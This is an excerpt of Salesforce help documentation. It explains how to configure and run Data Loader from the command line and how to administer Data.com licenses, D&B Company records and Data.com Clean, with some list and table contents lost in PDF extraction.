When you use Data Loader from the command line, theres no user interface. Therefore, youll need to provide the information
that you would normally enter in the user interface by using a text file named process-conf.xml. For example, youll need
to add to this file the username and password that Data Loader uses to log in to Salesforce. The password must be encrypted
before you add it to the process-conf.xml file, and creating the key is the first step in that process.
1. Open a command prompt window by clicking Start > All Programs > Accessories > Command Prompt. Alternatively,
you can click Start > Run, enter cmd in the Open field, and click OK.
2. In the command window enter cd\ to navigate to the root directory of the drive where Data Loader is installed.
3. Navigate to the Data Loader \bin directory by entering this command. Be sure to replace the file path with the path from
your system.
cd C:\Program Files (x86)\salesforce.com\Apex Data Loader 22.0\bin
4. Create an encryption key by entering the following command. Replace <seedtext> with any string.
encrypt.bat g <seedtext>
Note: To see a list of command-line options for encrypt.bat, type encrypt.bat from the command line.
5. Copy the generated key from the command window to a text file named key.txt and make a note of the file path. In
this example, the generated key is e8a68b73992a7a54.
Note: Enabling quick edit mode on a command window can make it easier to copy data to and from the window.
To enable quick edit mode, right-click the top of the window and select Properties. On the Options tab, select
QuickEdit Mode.
862
Data Management
The encryption utility is used to encrypt passwords, but data that you transmit using Data Loader is not encrypted.
See Also:
Introduction
Step Two: Create the Encrypted Password
In this step, youll create the encrypted password using the key that you generated in the previous step.
1. In the same command prompt window, enter the following command. Replace <password>with the password that Data
Loader uses to log in to Salesforce. Replace <filepath> with the file path to the key.txt file that you created in the previous
step.
encrypt.bat e <password> "<filepath>\key.txt"
2. Copy the encrypted password that is generated by the command. You'll use this value in a later step.
See Also:
Introduction
Step Three: Create the Field Mapping File
The field mapping file associates data sources with destinations. This is a text file, typically with an .sdl file extension.
1. Copy the following to a text file and save it with a name of accountInsertMap.sdl. This is a data insert so the data
source is on the left of the equals sign and the destination field is on the right.
#Mapping values
#Thu May 26 16:19:33 GMT 2011
863
Data Management
Name=Name
NumberOfEmployees=NumberOfEmployees
Industry=Industry
Tip: For complex mappings, you can use the Data Loader user interface to map source and destination fields and
then save those mappings to an .sdl file. This is done on the Mapping dialog box by clicking Save Mapping.
See Also:
Introduction
Step Four: Create the Configuration File
The process-conf.xml file contains the information that Data Loader needs to process the data. Each <bean> in the
process-conf.xml file refers to a single process such as an insert, upsert, export, and so on. Therefore, this file can contain
multiple processes. In this step, you'll edit the file to insert accounts into Salesforce.
1. Make a copy of the process-conf.xml file from the \samples\conf directory. Be sure to maintain a copy of the
original because it contains examples of other types of Data Loader processing such as upserts and exports.
2. Open the file in a text editor and replace the contents with the following XML:
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"
"http://www.springframework.org/dtd/spring-beans.dtd">
<beans>
<bean id="accountInsert"
class="com.salesforce.dataloader.process.ProcessRunner"
singleton="false">
<description>accountInsert job gets the account record from the CSV file
and inserts it into Salesforce.</description>
<property name="name" value="accountInsert"/>
<property name="configOverrideMap">
<map>
<entry key="sfdc.debugMessages" value="true"/>
<entry key="sfdc.debugMessagesFile"
value="C:\DLTest\Log\accountInsertSoapTrace.log"/>
<entry key="sfdc.endpoint" value="https://servername.salesforce.com"/>
<entry key="sfdc.username" value="admin@Org.org"/>
<!--Password below has been encrypted using key file,
therefore, it will not work without the key setting:
process.encryptionKeyFile.
The password is not a valid encrypted value,
please generate the real value using the encrypt.bat utility -->
<entry key="sfdc.password" value="e8a68b73992a7a54"/>
<entry key="process.encryptionKeyFile"
value="C:\DLTest\Command Line\Config\key.txt"/>
<entry key="sfdc.timeoutSecs" value="600"/>
<entry key="sfdc.loadBatchSize" value="200"/>
<entry key="sfdc.entity" value="Account"/>
<entry key="process.operation" value="insert"/>
<entry key="process.mappingFile"
864
Data Management
value="C:\DLTest\Command Line\Config\accountInsertMap.sdl"/>
<entry key="dataAccess.name"
value="C:\DLTest\In\insertAccounts.csv"/>
<entry key="process.outputSuccess"
value="c:\DLTest\Log\accountInsert_success.csv"/>
<entry key="process.outputError"
value="c:\DLTest\Log\accountInsert_error.csv"/>
<entry key="dataAccess.type" value="csvRead"/>
<entry key="process.initialLastRunDate"
value="2005-12-01T00:00:00.000-0800"/>
</map>
</property>
</bean>
3. Modify the following parameters in the process-conf.xml file. For more information about the process configuration
parameters, see Data Loader Process Configuration Parameters on page 846.
sfdc.endpointEnter the URL of the Salesforce instance for your organization; for example,
https://na1.salesforce.com.
running.
sfdc.debugMessagesFileEnter the path and file name of the command line log file.
process.outputSuccessEnter the path and file name of the success log file.
process.outputErrorEnter the path and file name of the error log file.
Caution: Use caution when using different XML editors to edit the process-conf.xml file. Some editors add
XML tags to the beginning and end of the file which will cause the import to fail.
See Also:
Introduction
Step Five: Import the Data
865
Data Management
To update records:
To upsert records:
To delete records:
Now that all the pieces are in place, you can run Data Loader from the command line and insert some new accounts.
1. Copy the following data to a file name accountInsert.csv. This is the account data that you'll import into your
organization.
Name,Industry,NumberOfEmployees
Dickenson plc,Consulting,120
GenePoint,Biotechnology,265
Express Logistics and Transport,Transportation,12300
Grand Hotels & Resorts Ltd,Hospitality,5600
Replace <file path to process-conf.xml> with the path to the directory containing process-conf.xml.
Replace <process name> with the process specified in process-conf.xml.
After the process runs, the command prompt window displays success and error messages. You can also check the log files:
insertAccounts_success.csv and insertAccounts_error.csv. After the process runs successfully, the
insertAccounts_success.csv file will contain the records that you imported along with the ID and status of each
record. For more information about the status files, see Reviewing Output Files on page 841.
See Also:
Introduction
866
Data Management
The following third-party licenses are included with the installation of Data Loader:
Technology
Version Number
License
1.6
http://www.apache.org/licenses/LICENSE-2.0
3.1
http://www.apache.org/licenses/LICENSE-2.0
1.2.1
http://www.apache.org/licenses/LICENSE-2.0
1.0.3
http://www.apache.org/licenses/LICENSE-1.1
http://www.apache.org/licenses/LICENSE-2.0
Apache Log4j
1.2.8
http://www.apache.org/licenses/LICENSE-2.0
Eclipse SWT
3.452
http://www.eclipse.org/legal/epl-v10.html
http://www.opensymphony.com/quartz/license.action
1.6R2
http://www.mozilla.org/MPL/MPL-1.1.txt
Spring Framework
1.2.6
http://www.apache.org/licenses/LICENSE-2.0.txt
Note: Salesforce.com is not responsible for the availability or content of third-party websites.
867
Data.com Administration
DATA.COM ADMINISTRATION
Data.com Product Suite Overview
Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions
Data.com Corporate
Data.com Corporate is an upgrade to the original Salesforce Data.com offering. It provides additional D&B fields, including
D-U-N-S Number, NAICS Code, NAICS Description, and more. With Corporate, all Salesforce users can search Data.com
for accounts and contacts. Users with Data.com licenses can:
Starting December 16, 2011, all organizations purchasing Data.com received the Data.com Corporate product. As of the
Summer 12 release, the Data.com Premium upgrade is available. Organizations using previous versions have a limited set of
fields.
Data.com Premium
Data.com Premium is an upgrade to Data.com Corporate. With Premium, you get all the features and D&B fields available
in Corporate, plus over 70 additional D&B fields for accounts you add to Salesforce from Data.com. These fields are grouped
in a D&B Company record thats linked to the account, and accessible on the D&B Companies tab.
Data.com Clean
Data.com Clean is an important part of Salesforces Data.com product suite, offering both manual and automated cleaning
for your account, contact, and lead records. You can purchase Data.com Clean for use on its own or to supplement the Clean
features within Data.com Corporate or Premium. Data.com Clean must be purchased for every Salesforce user you want to
use it. Data.com Clean provides full clean capability for your organization: all Data.com Clean users can manually clean
Salesforce accounts, contacts, and leads, and you can configure jobs to clean records automatically.
868
Data.com Administration
Implementing Data.com
Data.com Reports
Want to analyze the impact of Data.com data on your business? Use the Data.com Reports AppExchange package. It offers
several preconfigured Data.com reports and a corresponding impact dashboard. Use these tools to find out how many records
are sourced from Data.com, who has added them and when, and how they contribute to your sales forecast and revenue.
See Also:
Data.com Clean Overview
Finding and Adding Accounts from Data.com
Finding and Adding Contacts from Data.com
Adding Data.com Contacts as Leads
What product should my organization use to clean our account, contact, and lead records?
How do I know which Data.com product my organization has?
Implementing Data.com
Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions
Customize Application
Manage Users
869
Data.com Administration
2.
3.
4.
5.
6.
7.
8.
Implementing Data.com
Enable users for Data.com, assign type for each user, and assign record addition limits.
(Optional) Purchase additional Data.com licenses or record additions.
Add the Data.com tab to user profiles.
Configure your account, contact, and lead page layouts with the buttons and fields you need.
If you use Data.com Corporate or Data.com Premium, update your field-level security so users see fields provided by D&B.
Install the Data.com Reports AppExchange package.
Depending on your Data.com license, youll complete a few more steps. Check out these topics for complete details.
Tip: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com
Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section.
Youll see either Corporate or Premium.
If youre using Data.com Clean along with Data.com, see Implementing Data.com Clean on page 893.
If a user adds more than 200 leads to Salesforce at one time, any lead assignment rules your organization uses won't run.
To make sure your lead assignment rules run, instruct your users to limit their additions to fewer than 200 leads at any
time.
If your organization uses validation rules on fields that are mapped to Data.com, either deactivate the rules or make sure
they match Data.com field names to avoid errors when you add records.
See Also:
Data.com Product Suite Overview
Defining Validation Rules
870
Data.com Administration
Customize Application
Data.com Corporate provides additional Dun & Bradstreet account and lead data beyond the basics, including D-U-N-S
Number, NAICS Code, Tradestyle, and more. Heres how to implement this product.
Note: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com
Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll
see either Corporate or Premium.
1. Make sure youve implemented Data.com.
2. Configure your account, contact, and lead page layouts with the buttons and fields you need.
3. Update your field-level security so users see fields provided by D&B.
Implementation Tips
If your organization uses Data.com Corporate or Data.com Premium, and you create validation rules for the fields that those
products provide, those rules will still attempt to run even if you stop using the product, so disable any validation rules using
those fields in that case. Data.com Corporate and Premium fields are identified in the help topics Account Fields and Lead
Fields.
See Also:
Data.com Product Suite Overview
Customize Application
Data.com Premium is an upgrade to Data.com Corporate. With Premium, you get all the features and D&B fields available
in Corporate, plus over 70 additional D&B fields for accounts you add to Salesforce from Data.com.
871
Data.com Administration
Data.com Premium includes the D&B Companies tab, which lists D&B Company records for all accounts youve added from
Data.com. Each record displays the additional fields that Premium provides. Like Data.com Corporate users, Premium users
can also view a limited number of D&B fields on account records. Heres how to implement this product.
Note: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com
Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll
see either Corporate or Premium.
1.
2.
3.
4.
5.
Implementation Tips
If your organization uses Data.com Corporate or Data.com Premium, and you create validation rules for the fields that those
products provide, those rules will still attempt to run even if you stop using the product, so disable any validation rules using
those fields in that case. Data.com Corporate and Premium fields are identified in the help topics Account Fields and Lead
Fields.
Customize Application
Manage Users
The All Data.com Users page shows all users, grouped by user type: Data.com User and Data.com List User.
Data.com Users get a limited number of records to add or export per month, and their unused additions expire at the end
of each month. For each Data.com User, you can see the monthly limit and number of records added to Salesforce or
exported during the month.
For organizations that purchase the product, Data.com List users share account, contact, and lead record additions from
a pool. You can see the organization's limit, and the number of records each Data.com List User has added to Salesforce
or exported.
872
Data.com Administration
3. For Data.com users, in the Monthly Contact and Lead Limit drop-down, select the number of contact and lead
records the user can add each month. You can select up to the organization limit for any user or all users, but once the
organization's monthly limit is reached, users won't be able to add more records.
For example, if your organization's monthly addition limit is 3000 records, you might assign one user a monthly addition
limit of 500 records, another user a limit of 1,000 records, and another user the organization limit (in this case 3,000
records). If the second user adds all 1,000 of his records right away, the third user will only be able to add up to 2,000
records, and depending on how many the third user adds, the first user may not be able to add any records.
Tip: You can find your organization's monthly organization addition limit on the Data.com Licenses & Limits
page. Click Your Name > Setup > Data.com Administration > Licenses & Limits.
4. Click Save to save the current record, or Save and New if you want to enable other users for Data.com.
Tip: You can also enable Data.com users from the Apex Data Loader. To do so, you export your user records to
a .csv file, change the Data.com user permission for each user you want to enable, and then import the .csv file
into Salesforce. The fields to export from the User object are LastName, FirstName, and
UserPermissionsJigsawProspectingUser. Contact salesforce.com support if you need help.
The number of Data.com users you can enablewithin Salesforce or via the Data Loaderdepends on the number
of Data.com licenses you have purchased. Make sure you stay within that limit when enabling users via the Data
Loader.
See Also:
Understanding Data.com User Types, Licenses, and Limits
Data Loader Overview
The Data.com Licenses & Limits page identifies the type and number of user licenses you have, and the limits per user and
for your organization. Limits are listed by user type: Data.com User and Data.com List User. Assign monthly record additions
for each user on his or her User Edit page.
The Licenses & Limits page also provides information about your organizations Clean implementation.
Data.com Licenses
Data.com user licenses let users search Data.com for accounts and contacts, and add them as records to Salesforce. Users can
also add contacts as leads.
If your organization has purchased Data.com Corporate, youll see Corporate in the heading for this section of the page.
Data.com Corporate includes several Dun & Bradstreet (D&B) fields on the Account object, including D-U-N-S Number,
NAICS Code, NAICS Description, and more.
873
Data.com Administration
If your organization has purchased Data.com Premium, youll see Premium in the section heading. Data.com Premium users
have access to all the fields available in Data.com Corporate, plus over 70 additional D&B fields on D&B Company records.
(D&B Company records are linked to accounts that are added to Salesforce from Data.com.)
Field
Definition
Number of Licenses
Assigned
Definition
Organization Limit
(month) Balance
874
Data.com Administration
Heres an example of how an organization manages Data.com User licenses and limits. The sales division of Universal Telco
has 14 sales reps, and they purchase 20 Data.com licenses, each of which has a record addition limit of 300. This means that
Data.com Users within the organization can add as many as 6,000 records per month. The Universal Telco administrator
distributes the Data.com Users monthly record addition limits as follows.
Definition
Balance
The number of records Data.com List users can still add. The
balance is updated every time a user adds records to Salesforce.
Tip: To see how many records each user has added,
check the All Data.com Data.com Users page. Click
Your Name > Setup > Data.com Administration >
Users.
Heres an example of how an organization manages Data.com List User licenses and limits. The marketing division of Universal
Telco has four marketing reps. Each rep has a Data.com license and each is a Data.com List user. Universal Telco purchases
a record addition pool of 5,000 records. This means that together, all four marketing reps can add 5,000 records. One rep
might add 2500 records, leaving 2500 to be added by one or more of the other three users.
Data.com Clean
The Data.com Licenses & Limits page also provides information about your organizations Clean capabilities and
implementation.
If your organization uses Data.com Corporate or Data.com Premium, users with those licenses can manually clean the account,
contact, and lead records they have access to.
If your organization has purchased a Data.com Clean product, you can also run automated jobs to clean records, and all
Salesforce users (not just those with Data.com Corporate or Data.com Premium licenses) can manually clean records.
Field
Definition
Available To
Automation
875
Data.com Administration
Field
Definition
clean jobs, click the Schedule Clean Jobs link. If you havent
purchased Data.com Clean, click the Learn More... link to
get product details.
See Also:
Setting Up Data.com Users
How do I know which Data.com product my organization has?
What should I do if my Data.com Users reach their addition limits and we need more prospecting capacity?
How can I find out how many Data.com records I can add to Salesforce?
Customize Application
Manage Users
To use Checkout:
Manage Billing
If you need to purchase additional licenses for Data.com Users, you can do so using Checkout, right from the Data.com
Licenses & Limits page. Just make sure youre enabled to use Checkout. When your purchase is complete, you can assign
licenses to users if you need to.
1. Click Your Name > Setup > Data.com Administration > Licenses & Limits.
2. Click Purchase More and follow the steps.
3. (Optional) Assign the new licenses to users.
For detailed instructions on using Checkout, see the Checkout User Guide.
See Also:
Understanding Data.com User Types, Licenses, and Limits
Setting Up Data.com Users
876
Data.com Administration
Read on accounts
If you want to work with Data.com account records in other programs, you can export them from your search results on the
Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program
that supports .csv format.
Be aware of these requirements and restrictions when exporting records sourced from Data.com.
If you export Data.com contacts or accounts instead of adding them to Salesforce, each exported record counts against your
monthly contact addition limit. If you export records you've already added to Salesforce or re-export contacts you previously
exported, the exported records don't count against your monthly record addition limit.
If you export a group of Data.com contacts, then add those same contacts to Salesforce at Leads, you are not prevented
from importing those contacts back into Salesforce as contacts.
You can only export as many records as your monthly addition limit allows. If exporting a number of records would exceed
your limit, you'll see a message that lets you know how many record additions you have left. If you've reached your monthly
record addition limit, you can't export any records.
Regardless of your monthly addition limit or the number of records you have left to add, you can't export more than 50,000
records at a time. If you try, you'll get the option to either continue and export the first 50,000 from your list, or cancel
and refine your list.
877
Data.com Administration
To export selected accounts, select the ones you want, then click Export Results and choose Selected.
A dialog box appears. It identifies the default name of the export file: DataDotCom_Accounts.csv.
3. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version.
Click Save As to rename it.
You can import the list of records back into Salesforce using the Data Loader. The import process checks for duplicates using
the Data.com ID number from the Data.com field.
See Also:
Data.com Search Fields and Filters
Using Data.com Reports and Dashboards
Data Loader Overview
Finding and Adding Accounts from Data.com
Data.com Search Fields and Filters
Read on contacts
If you want to work with Data.com contact records in other programs, you can export them from your search results on the
Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program
that supports .csv format.
Be aware of these requirements and restrictions when exporting records sourced from Data.com.
If you export Data.com contacts or accounts instead of adding them to Salesforce, each exported record counts against your
monthly contact addition limit. If you export records you've already added to Salesforce or re-export contacts you previously
exported, the exported records don't count against your monthly record addition limit.
If you export a group of Data.com contacts, then add those same contacts to Salesforce at Leads, you are not prevented
from importing those contacts back into Salesforce as contacts.
You can only export as many records as your monthly addition limit allows. If exporting a number of records would exceed
your limit, you'll see a message that lets you know how many record additions you have left. If you've reached your monthly
record addition limit, you can't export any records.
Regardless of your monthly addition limit or the number of records you have left to add, you can't export more than 50,000
records at a time. If you try, you'll get the option to either continue and export the first 50,000 from your list, or cancel
and refine your list.
878
Data.com Administration
LastName
Title
Phone
Email
MailingStreet
MailingCity
MailingState
MailingPostalCode
MailingCountry
AccountName
NumberofEmployees
AnnualRevenue
A dialog box appears. It identifies the default name of the export file: DataDotCom_Contacts.csv.
3. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version.
Click Save As to rename it.
You can import the list of records back into Salesforce using the Data Loader. The import process checks for duplicates using
the Data.com ID number from the Data.com field.
These records won't be imported from the Data Loader.
Any record that has the same Data.com ID (from the Data.com field) as another record within the .csv file.
Any record that has the same Data.com ID (from the Data.com field) as a record already in Salesforce.
See Also:
Data.com Search Fields and Filters
Data Loader Overview
Finding and Adding Data.com Contacts from the Data.com Tab
Getting Data.com Contacts from an Account
Data.com Search Fields and Filters
879
Data.com Administration
The Data.com Reports AppExchange package offers several preconfigured Data.com reports and a corresponding set of
analytics and impact dashboards. Use these tools to monitor the impact of Data.com data on your leads, forecast, and revenue.
Important: Starting July 1, 2012, this package will not be compatible with the Jigsaw for Salesforce AppExchange
package.
1. Go to the Data.com Reports AppExchange page to download the product.
2. To install Data.com Reports, follow the instructions in Installing a Package.
3. Let your users know that the Data.com reports and dashboards are available.
See Also:
Using Data.com Reports and Dashboards
Installing a Package
Run reports
The Data.com Reports AppExchange package offers several preconfigured reports and a corresponding impact dashboard.
Use these tools to instantly see the impact of Data.com data on your leads, forecast, and revenue. This table describes each
report.
For more information, see Installing the Data.com Reports AppExchange package on page 880.
Report
Description
880
Data.com Administration
Report
Description
To run any Data.com report, just click the Reports tab, expand the Data.com list, and select the one you want.
To view Data.com reports as dashboards, just click the Dashboards tab. In the View Dashboards drop-down, under
Data.com, select Data.com Impact or Data.com Analytics.
See Also:
Data.com Search Fields and Filters
881
To uninstall Jigsaw for Salesforce, follow the instructions in the Jigsaw for Salesforce Uninstall Guide.
Edit on accounts
Edit on contacts
Edit on leads
If you use Data.com for prospecting in Salesforce, but use the Jigsaw for Salesforce AppExchange package to clean your records,
follow the instructions in Using Data.com Clean in Salesforce to clean your account, contact, and lead records.
For instructions on setting up Jigsaw for Salesforce, see Jigsaw for Salesforce Configuration Guide.
Dun & Bradstreet (D&B) is the worlds leading source of commercial information and insight on businesses, enabling companies
to Decide with Confidence for over 170 years. D&Bs global database contains the worlds largest source of business records,
and is backed by D&Bs proprietary DUNSRight quality assurance process, ensuring you that company information is
complete and accurate.
882
As part of Salesforces Data.com solution, D&B gives users integrated access to its trusted global database of millions of
companies and corporate family hierarchies, and over 70 fields of company information, such as D-U-N-S Number and
NAICS industry codes, directly in Salesforce.
D&B Companies is available to organizations that purchase Data.com Premium. Heres how it works.
When you add an account from Data.com, a corresponding D&B Company record is automatically created and linked to that
account via the accounts D&B Company field. Just click the link to open the D&B Company record and view the rich set of
D&B data, including a Company Description field, plus sections like Primary Data and Firmographic Data. The Accounts
related list on the page links back to the account record.
For example, if you add an account record for Starbucks, when you open its record, the D&B Company field value is Starbucks
Corporation. The value is underlined to identify it as a link. Just click the link to open the Starbucks Corporation D&B
Company record.
See Also:
Configuring Data.com Premium
Working With D&B Company Records
D&B Company Fields
Cleaning Records With Data.com Clean
Finding and Adding Accounts from Data.com
D&B Company Fields
Cleaning Records With Data.com Clean
If your organization has purchased Data.com Premium, you have access to the D&B Companies tab, which lists D&B Company
records for all accounts youve added from Data.com. Each record displays a large set of D&B fields. Setting up D&B Companies
is easy to dojust follow the steps for setting up Data.com Premium, and follow the guidelines here.
Note: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com
Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll
see either Corporate or Premium.
Implementation Guidelines
Make sure you add the D&B Companies tab to user profiles.
The D&B fields that also exist on the account object (such as D-U-N-S Number, SIC Code, and NAICS Code) are
managed fields, and they are updated by both manual and automated clean processes.
Because the D&B Company object is read-only, you cant create task and field update workflow rules for it. Rules that
are triggered by D&B field changes that act on other objects are permitted, however. For example, you can create a workflow
rule that updates a custom field on an account record when a D&B Company record is created.
883
You can enable users to view and delete D&B Company records by assigning the appropriate profile permissions. Standard
profiles automatically have the Read D&B Company records permission, but need to be assigned the Delete D&B
Company records permission. Custom profiles need to be assigned both permissions.
See Also:
D&B Companies Overview
Customize Application
When you add an account from Data.com, a corresponding D&B Company record is automatically created and linked to that
account via the accounts D&B Company field. If you delete an account you might also want to delete the D&B Company
record.
Important: Because the D&B Company field is editable on account records, more than one account might end up
associated to a single D&B Company record. We recommend that you do not delete D&B Company records that are
associated to more than one account record.
System administrators are enabled by default to delete D&B Company records, but if you need to enable other users to delete
these records, you must first create a permission set that allows you to.
Customize Application
Manage Users
System administrators are enabled by default to delete D&B Company records, but if you need to enable other users to delete
these records, you must first create a permission set that allows them to.
1. Create a new permission set. In the Label field, enter a name related to the permission youre granting. For example: D&B
Company Delete. In the User License field, select Salesforce. Click Save.
884
When you add an account from Data.com, a corresponding D&B Company record is automatically created and linked to that
account via the accounts D&B Company field. If you delete an account you might also want to delete the D&B Company
record.
1. If you need to, create a permission set to allow you to delete D&B Company records.
2. Open the D&B record you want to delete and click Delete.
See Also:
Creating Permission Sets
Organizations that have purchased Data.com Premium have access to our complete set of Dun & Bradstreet (D&B) dataover
70 fields. When an account record is added to Salesforce, a D&B Company record is automatically created and linked to that
account via the accounts D&B Company field. This topic defines the fields youll see on D&B Company records.
Field
Description
885
Field
Description
Company Description
Delinquency Risk
D-U-N-S Number
Facsimile Number
Fifth Tradestyle
886
Field
Description
Technology (NIST), an organization within the US Federal
Department of Commerce. D&B supplies this data for US
organizations only.
Fourth Tradestyle
Geocode Accuracy
Import/Export
Latitude
Legal Structure
887
Field
Description
Standardization (ISO) and is based on their three-letter
currency codes. For example, USD is the ISO code for United
States Dollar.
Location Type
Longitude
Mailing Address
Minority-Owned Indicator
Number of EmployeesGlobal
Number of EmployeesLocation
888
Field
Description
(for all records), Modeled (for non-US
records). A blank value indicates this data is unavailable.
Number of EmployeesTotal
Primary Address
Primary Tradestyle
889
Field
Description
Second Tradestyle
Stock Exchange
Subsidiary Indicator
Telephone Number
Third Tradestyle
Ticker Symbol
URL
890
Field
Description
US Tax ID Number
Woman-Owned Indicator
Year Started
The year the company was established or the year when current
ownership or management assumed control of the company.
D&B does not supply this data for branch locations.
See Also:
D&B Companies Overview
D&B Companies Overview
Finding and Adding Accounts from Data.com
When I add CRM records from Data.com, how do I know which field values have Data.com data?
891
Data.com Corporate
Data.com Corporate is an upgrade to the original Salesforce Data.com offering. It provides additional D&B fields, including
D-U-N-S Number, NAICS Code, NAICS Description, and more. With Corporate, all Salesforce users can search Data.com
for accounts and contacts. Users with Data.com licenses can:
Starting December 16, 2011, all organizations purchasing Data.com received the Data.com Corporate product. As of the
Summer 12 release, the Data.com Premium upgrade is available. Organizations using previous versions have a limited set of
fields.
Data.com Premium
Data.com Premium is an upgrade to Data.com Corporate. With Premium, you get all the features and D&B fields available
in Corporate, plus over 70 additional D&B fields for accounts you add to Salesforce from Data.com. These fields are grouped
in a D&B Company record thats linked to the account, and accessible on the D&B Companies tab.
Data.com Clean
Data.com Clean is an important part of Salesforces Data.com product suite, offering both manual and automated cleaning
for your account, contact, and lead records. You can purchase Data.com Clean for use on its own or to supplement the Clean
features within Data.com Corporate or Premium. Data.com Clean must be purchased for every Salesforce user you want to
use it. Data.com Clean provides full clean capability for your organization: all Data.com Clean users can manually clean
Salesforce accounts, contacts, and leads, and you can configure jobs to clean records automatically.
Data.com Reports
Want to analyze the impact of Data.com data on your business? Use the Data.com Reports AppExchange package. It offers
several preconfigured Data.com reports and a corresponding impact dashboard. Use these tools to find out how many records
are sourced from Data.com, who has added them and when, and how they contribute to your sales forecast and revenue.
See Also:
Data.com Clean Overview
Finding and Adding Accounts from Data.com
Finding and Adding Contacts from Data.com
Adding Data.com Contacts as Leads
What product should my organization use to clean our account, contact, and lead records?
How do I know which Data.com product my organization has?
892
Data.com Clean is an important part of Salesforces Data.com product suite, offering both manual and automated cleaning
for your account, contact, and lead records. You can purchase Data.com Clean for use on its own or to supplement the Clean
features within Data.com Corporate or Premium. Data.com Clean must be purchased for every Salesforce user you want to
use it. Data.com Clean provides full clean capability for your organization: all Data.com Clean users can manually clean
Salesforce accounts, contacts, and leads, and you can configure jobs to clean records automatically.
Clean works by comparing your Salesforce account, contact, and lead records with records from Data.com, linking records
that match, and providing clean status information on the Salesforce record. You can choose to implement Clean for accounts,
contacts, and leads, and specify whether the clean process will flag differences between the two records, or also auto-fill blank
Salesforce fields with Data.com values.
Licensed users can easily clean individual records manually, comparing their fields and values side by side with those from the
linked Data.com record. Your organization can also set up automated clean jobs to run as often as every day. Metrics and
analytics provide detailed information about the value of Data.com Clean to your organization: see how many of your Salesforce
records are matched to Data.com records, and how many have been updated by manual and automated clean processes.
Data.com Corporate and Data.com Premium provide access to account data from Dun & Bradstreet (D&B). For those
organizations, Data.com Clean also cleans the basic set of D&B fields that are included in Data.com Corporate and Data.com
Premium.
See Also:
Cleaning Records With Data.com Clean
What product should my organization use to clean our account, contact, and lead records?
Customize Application
Manage Users
893
3.
4.
5.
6.
If you use Data.com Corporate or Data.com Premium, update your field-level security so users see fields provided by D&B.
Define your Clean preferences.
Schedule your Clean jobs.
Install the Data.com Reports package.
Once youve finished implementing Data.com Clean, to get the optimum benefit from the product, you should:
Regularly review your Data.com Clean record match results to make sure records are matched as expected.
Regularly monitor your organizations record match and update rates and take steps to improve those rates if necessary.
If youre using Data.com together with Data.com Clean, see Implementing Data.com on page 869.
Customize Application
Enable Data.com Clean to make sure your CRM records are always up to date. You can use Clean with all your account,
contact, and lead recordsnot just those added from Data.com.
Enabling Clean makes clean features available to your organization and it causes the Preferences and Jobs links to appear
within the Clean section of the Setup tree (Your Name > Setup > Data.com Administration > Clean).
Note:
Enabling Clean does not clean your records immediately, and you can click Disable to turn the feature off.
1. Click Your Name > Setup > Data.com Administration > Clean > Settings
2. Click Enable Clean.
See Also:
Implementing Data.com Clean
894
Customize Application
View Setup
When you implement Data.com and Data.com Clean, so that users can use the product, you need to add buttons and fields
to your Account, Contact, and Lead page layouts. Heres how.
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Accounts > Page Layouts.
From the list of page layouts, click Edit next to the layout(s) your Clean users will use.
On the Account Layout page, from the list of page element categories, click Fields.
Drag the Clean Status field into place on the page where you want it to appear.
If you use Data.com Corporate or Data.com Premium, add the D&B fields you want users to see. These include Account
Site, D-U-N-S Number, NAICS Code, Tradestyle, and more. For a complete list of the D&B fields available on
account and lead records, see Account Fields and the Lead Fields topics in the Salesforce help.
Tip: We recommend creating a section for D&B fields and grouping them there. To create a section, from the
Fields group, just drag the Section element into place on the page.
6. From the list of page element categories, click Buttons. Drag the Clean button into place on the page.
7. Click Save.
8. Now repeat these steps to configure your Lead page layouts. Youll need the Clean Status field and the Clean button.
The only D&B field available on Lead page layouts is Company D-U-N-S number. Add that.
9. Finally, add the Clean Status field and Clean button to your Contact page layouts. (Contacts does not include any
D&B fields.)
895
Customize Application
If your organization uses Data.com Corporate or Data.com Premium, you can view a number of D&B fields on account
records, and those fields are included when users manually clean records. To make sure your users can read and edit the fields
and their values, and that they appear on the Account Card, you need to set field-level security (FLS) for:
Account Site
Ownership
SIC Code
Ticker Symbol
There are multiple ways to set field-level security, but since you only need to set FLS for four fields, we recommend starting
from the fields and choosing the user profiles for users who use Data.com.
1. Click Your Name > Setup > Customize > Accounts > Fields.
2. Click the field label to open the detail page for each of these fields: Account Site, Ownership, SIC Code and Ticker
Symbol.
3. On each fields detail page, click Set Field-Level Security. For each profile whose users need to read and edit the
fields, select the Visible checkbox. For example, if users in the Standard User profile will use Data.com Clean, select the
Visible checkbox for that profile.
Customize Application
Jobs can clean account, contact, and lead records by flagging all fields whose values are different from Data.com values so that
users can compare the records and accept changes manually. You can also elect to auto-fill blank fields with Data.com data.
Your preferences take effect when the next scheduled clean job runs, and users will see the flags, as appropriate, when they
open records.
896
1. Click Your Name > Setup > Data.comAdministration > Clean > Preferences.
2. Select the Enable Clean jobs checkbox for each object whose records you want to clean. (If you clear the Enable Clean
jobs checkbox, automated jobs will not run for objects of that type.)
3. For each object youve enabled, select either:
Flag all differences per record to only identify fields whose values are different from Data.com values or
Flag differences and auto-fill blank fields to identify fields whose values are different and fill blank
See Also:
Scheduling Data.com Clean Jobs
Implementing Data.com Clean
Converting Leads
Customize Application
To keep your records clean status up to date, schedule automated jobs to compare your records with Data.com. Jobs are queued
according to your scheduling settings, and they run independently for accounts, contacts, and leads.
If you schedule jobs for at least one day of the week, jobs will process all records of enabled objects once every two weeks, even if
